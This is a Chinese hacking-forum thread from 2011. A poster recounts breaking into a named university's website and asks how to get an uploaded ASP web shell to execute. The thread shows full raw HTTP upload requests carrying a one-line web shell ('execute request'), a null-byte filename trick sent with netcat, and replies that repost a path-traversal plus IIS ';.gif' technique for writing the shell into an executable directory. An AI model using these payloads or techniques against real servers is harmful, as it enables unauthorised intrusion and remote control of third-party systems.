# nc 问题

**URL:** <https://forum.90sec.com/t/topic/2733>\
**Category:** 交流讨论\
**Created:** [2011 年10 月 17 日 07:37 UTC](https://forum.90sec.com/t/topic/2733 "2011-10-17T07:37:41Z")\
**Posts on this page:** 12\
**Page:** 1

<div class="post-metadata">

作者： ![Afrione](https://forum.90sec.com/letter_avatar_proxy/v4/letter/a/f9ae1b/32.png) [@Afrione](https://forum.90sec.com/u/Afrione)\
发布日期： [2011 年10 月 17 日 07:37 UTC](https://forum.90sec.com/t/topic/2733/1 "2011-10-17T07:37:41Z")

</div>

_本帖最后由 Green\_leaves 于 2012-6-15 17:47 编辑_

今天入侵 湖南一大学 好多分站 要么防注入 要么猜不到表段  
好不容易找到一个软柿子  
[http://dep.hnust.cn/keylab/](http://dep.hnust.cn/keylab/)  
我用账号登陆进去 发现  
一个上传 我是上传的图片一句话  
我抓包得到的数据：  
POST /keylab/inc/upfile.asp HTTP/1.1  
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/xaml+xml, application/x-ms-xbap, application/x-ms-application, _/_  
Referer: [http://dep.hnust.cn/keylab/inc/upfileform.asp?act=news](http://dep.hnust.cn/keylab/inc/upfileform.asp?act=news)  
Accept-Language: zh-cn  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E)  
Content-Type: multipart/form-data; boundary=---------------------------7db2af23240138  
Accept-Encoding: gzip, deflate  
Host: [dep.hnust.cn](http://dep.hnust.cn)  
Content-Length: 888  
Connection: Keep-Alive  
Cache-Control: no-cache  
Cookie: ASPSESSIONIDSQCRTCDR=EJCHMEOBMKMMOAHPPOCOEGGI

-----------------------------7db2af23240138  
Content-Disposition: form-data; name="act"

upload  
-----------------------------7db2af23240138  
Content-Disposition: form-data; name="upcount"

1  
-----------------------------7db2af23240138  
Content-Disposition: form-data; name="filepath"

../upfile/news/1.asp /\*添加的部分为1.asp （有个空格）我去C32中填充了00  
-----------------------------7db2af23240138  
Content-Disposition: form-data; name="file1"; filename="yjh.jpg"  
Content-Type: text/plain

```xml
<script language=VBScript runat=server>execute request("1")</script>
<script language=VBScript runat=server>execute request("1")</script>
<script language=VBScript runat=server>execute request("1")</script>
<script language=VBScript runat=server>execute request("1")</script>

```

-----------------------------7db2af23240138  
Content-Disposition: form-data; name="Submit"

· 提交 ·  
-----------------------------7db2af23240138--

nc上传 nc [dep.hnust.cn](http://dep.hnust.cn) 80\<1.txt

文件上传成功,文件名为:/upfile/news/1.asp\<br\>\<br\>  
\<a href="javascript:history.back();"\>返回\</a\>]\</body\>\</html\>

## 我以为成功了 访问[http://dep.hnust.cn/keylab/upfile/news/1.asp](http://dep.hnust.cn/keylab/upfile/news/1.asp) 出现了这个 该页无法显示 您试图从目录中执行 CGI、ISAPI 或其他可执行程序，但该目录不允许执行程序。

请尝试以下操作：

•如果您认为该目录应该允许执行访问权限，请与网站管理员联系。  
HTTP 错误 403.1 - 禁止访问：执行访问被拒绝。  
Internet 信息服务 (IIS)

* * *

我后来把  
../upfile/news/1.asp  
修改为  
../upfile/1.asp 修改字节数 还是一样

那位“牛哥”看下 有没有办法 突破

---

<div class="post-metadata">

作者： ![Afrione](https://forum.90sec.com/letter_avatar_proxy/v4/letter/a/f9ae1b/32.png) [@Afrione](https://forum.90sec.com/u/Afrione)\
发布日期： [2011 年10 月 17 日 08:05 UTC](https://forum.90sec.com/t/topic/2733/2 "2011-10-17T08:05:22Z")

</div>

后台 主页上面有 账户密码也是默认的 实战突破才知道

---

<div class="post-metadata">

作者： ![sil3nc3](https://forum.90sec.com/letter_avatar_proxy/v4/letter/s/65b543/32.png) [@sil3nc3](https://forum.90sec.com/u/sil3nc3)\
发布日期： [2011 年10 月 17 日 08:15 UTC](https://forum.90sec.com/t/topic/2733/3 "2011-10-17T08:15:13Z")

</div>

上传到/keylab/inc/或者/keylab/目录下呢？

---

<div class="post-metadata">

作者： ![Afrione](https://forum.90sec.com/letter_avatar_proxy/v4/letter/a/f9ae1b/32.png) [@Afrione](https://forum.90sec.com/u/Afrione)\
发布日期： [2011 年10 月 17 日 08:21 UTC](https://forum.90sec.com/t/topic/2733/4 "2011-10-17T08:21:43Z")

</div>

\*\*回复 [4#](http://www.90sec.org/redirect.php?goto=findpost&pid=1645&ptid=313) _Silence_ \*\*

```
我把../upfile/news/1.asp 修改成 ../1.asp 修改了字节 nc提示 /1.asp 上传成功 后面一大串  

```

我去 [http://dep.hnust.cn/keylab/1.asp](http://dep.hnust.cn/keylab/1.asp) 提示的这个

无法找到该页  
您正在搜索的页面可能已经删除、更名或暂时不可用。

---

<div class="post-metadata">

作者： ![user\_deleted4](https://forum.90sec.com/letter_avatar_proxy/v4/letter/u/c89c15/32.png) [@user\_deleted4](https://forum.90sec.com/u/user_deleted4)\
发布日期： [2011 年10 月 17 日 08:43 UTC](https://forum.90sec.com/t/topic/2733/5 "2011-10-17T08:43:18Z")

</div>

换目录

---

<div class="post-metadata">

作者： ![pony1](https://forum.90sec.com/letter_avatar_proxy/v4/letter/p/d07c76/32.png) [@pony1](https://forum.90sec.com/u/pony1)\
发布日期： [2011 年10 月 17 日 10:33 UTC](https://forum.90sec.com/t/topic/2733/6 "2011-10-17T10:33:27Z")

</div>

学习学习！！！！

---

<div class="post-metadata">

作者： ![user10](https://forum.90sec.com/user_avatar/forum.90sec.com/user10/32/11334_2.png) [@user10](https://forum.90sec.com/u/user10)\
发布日期： [2011 年10 月 17 日 11:58 UTC](https://forum.90sec.com/t/topic/2733/7 "2011-10-17T11:58:55Z")

</div>

换目录吧，另外找目录试试

---

<div class="post-metadata">

作者： ![qhkest](https://forum.90sec.com/user_avatar/forum.90sec.com/qhkest/32/11347_2.png) [@qhkest](https://forum.90sec.com/u/qhkest)\
发布日期： [2011 年10 月 17 日 12:08 UTC](https://forum.90sec.com/t/topic/2733/8 "2011-10-17T12:08:17Z")

</div>

贴出来一个我收集的文章看看能不能正解。good luck不知道各位。在上传的时候。 有没需要过。 一个上传。 不修改名字。。然后上传目录已经被程序所定义了。  
然而。上传目录取消了脚本执行的权限。 我想这里估计大家都要放弃了。  
如何突破呢?其实是可以的. 关键是 [不修改名字]  
先来看看一个上传的数据包:

POST /fa-bu/upload/upfile1.asp HTTP/1.1  
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, _/_  
Referer: [http://xxxxx/fa-bu/upload/upload.asp](http://xxxxx/fa-bu/upload/upload.asp)  
Accept-Language: zh-cn  
Content-Type: multipart/form-data; boundary=---------------------------7da290150c5e  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)  
Host: xxx.xxxx.xxnet  
Content-Length: 448  
Connection: Keep-Alive  
Cache-Control: no-cache  
Cookie: ASPSESSIONIDSSCTCSCT=DJBKGKLBBIGNKJMBGOENNPAN  
-----------------------------7da290150c5e  
Content-Disposition: form-data; name="act"  
upload  
-----------------------------7da290150c5e  
Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx\111.asp;.gif"  
Content-Type: text/plain  
\<%execute(request("cmd"))%\>  
-----------------------------7da290150c5e  
Content-Disposition: form-data; name="Submit"  
up  
-----------------------------7da290150c5e--  
关键是 :

Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx\111.asp;.gif"

我首先呢。 filename他是如何判断 那个开始就是文件名呢? 他是判断filename里的最右边的一个""以后的就是文件名字了。

大家因该知道。 在windows下 "" 和 "/" 是不分家的。

假设上传之后的目录为upload/

然后一个可以执行可以写的目录为 okokok/

那么我们只要构造

Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx./../okokok/111.asp;.gif"

那么我们上传的文件就成功的传进去了 okokok/111.asp;.gif了。

突破之！

---

<div class="post-metadata">

作者： ![Afrione](https://forum.90sec.com/letter_avatar_proxy/v4/letter/a/f9ae1b/32.png) [@Afrione](https://forum.90sec.com/u/Afrione)\
发布日期： [2011 年10 月 17 日 14:10 UTC](https://forum.90sec.com/t/topic/2733/9 "2011-10-17T14:10:54Z")

</div>

\*\*回复 [9#](http://www.90sec.org/redirect.php?goto=findpost&pid=1665&ptid=313) _qhkest_ \*\*

```
楼上回答的正是，其实我以前看从哪里到过这个贴 一直没用过 没什么印象， 谢谢楼上提醒

```

---

<div class="post-metadata">

作者： ![sil3nc3](https://forum.90sec.com/letter_avatar_proxy/v4/letter/s/65b543/32.png) [@sil3nc3](https://forum.90sec.com/u/sil3nc3)\
发布日期： [2011 年10 月 17 日 14:24 UTC](https://forum.90sec.com/t/topic/2733/10 "2011-10-17T14:24:05Z")

</div>

\*\*回复 [10#](http://www.90sec.org/redirect.php?goto=findpost&pid=1687&ptid=313) _keio_ \*\*

```
成功啦？

```

---

<div class="post-metadata">

作者： ![qhkest](https://forum.90sec.com/user_avatar/forum.90sec.com/qhkest/32/11347_2.png) [@qhkest](https://forum.90sec.com/u/qhkest)\
发布日期： [2011 年10 月 18 日 01:46 UTC](https://forum.90sec.com/t/topic/2733/11 "2011-10-18T01:46:35Z")

</div>

有问题就得解决，我也希望论坛的朋友们多多讨论，才会共同进步。

---

<div class="post-metadata">

作者： ![516400287](https://forum.90sec.com/letter_avatar_proxy/v4/letter/5/9e8a1a/32.png) [@516400287](https://forum.90sec.com/u/516400287)\
发布日期： [2011 年10 月 18 日 03:00 UTC](https://forum.90sec.com/t/topic/2733/12 "2011-10-18T03:00:39Z")

</div>

方法不错，首先就是不强制改上传文件名。还有就是上传目录没有执行的权限。

然后用这方法貌似就可以上传到上级可写目录了。

比如抓这是抓的上传数据包:

POST /upload/upfile.asp HTTP/1.1  
Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, _/_  
Referer: [http://www.tmdsb.com/upload/upload.asp](http://www.tmdsb.com/upload/upload.asp)  
Accept-Language: zh-cn  
Content-Type: multipart/form-data; boundary=—————————7da290150c5e  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)  
Host: [www.tmdsb.com](http://www.tmdsb.com)  
Content-Length: 448  
Connection: Keep-Alive  
Cache-Control: no-cache  
Cookie: ASPSESSIONIDSSCTCSCT=DJBKGKLBBIGNKJMBGOENNPAN  
—————————–7da290150c5e  
Content-Disposition: form-data; name=”act”  
upload  
—————————–7da290150c5e  
Content-Disposition: form-data; name=”file1″; filename=”d:\www\tmdsb\web\tmdsb.asp;.gif”  
Content-Type: text/plain

—————————–7da290150c5e  
Content-Disposition: form-data; name=”Submit”  
up  
—————————–7da290150c5e–  
然后看关键是:

Content-Disposition: form-data; name=”file1″; filename=”d:\www\tmdsb\web\tmdsb.asp;.gif”

我首先呢。 filename他是如何判断 那个开始就是文件名呢?

他是判断filename里的最右边的一个”\”以后的就是文件名字了。

大家因该知道。 在windows下 “\” 和 “/” 是不分家的。

假设上传之后的目录为upload/

然后一个可以执行可以写的目录为 tmdsb/

那么我们只要构造

Content-Disposition: form-data; name=”file1″; filename=”d:\www\tmdsb\web./../tmdsb/tmdsb.asp;.gif”

上传的文件就成功的传进去了 tmdsb/tmdsb.asp;.gif了。

当然还要配合IIS漏洞才行（在只能上传图片的情况下）要是直接能上传asp的话就

没所谓了。by [www.sb-sb.cn](http://www.sb-sb.cn)

本文来源于：半坑土农民'S Blog [http://www.tmdsb.com](http://www.tmdsb.com)  
本文转载自『半坑土农民's Blog』  
[http://www.tmdsb.com/](http://www.tmdsb.com/)  
更多精彩内容,欢迎访问半坑土农民的博客!
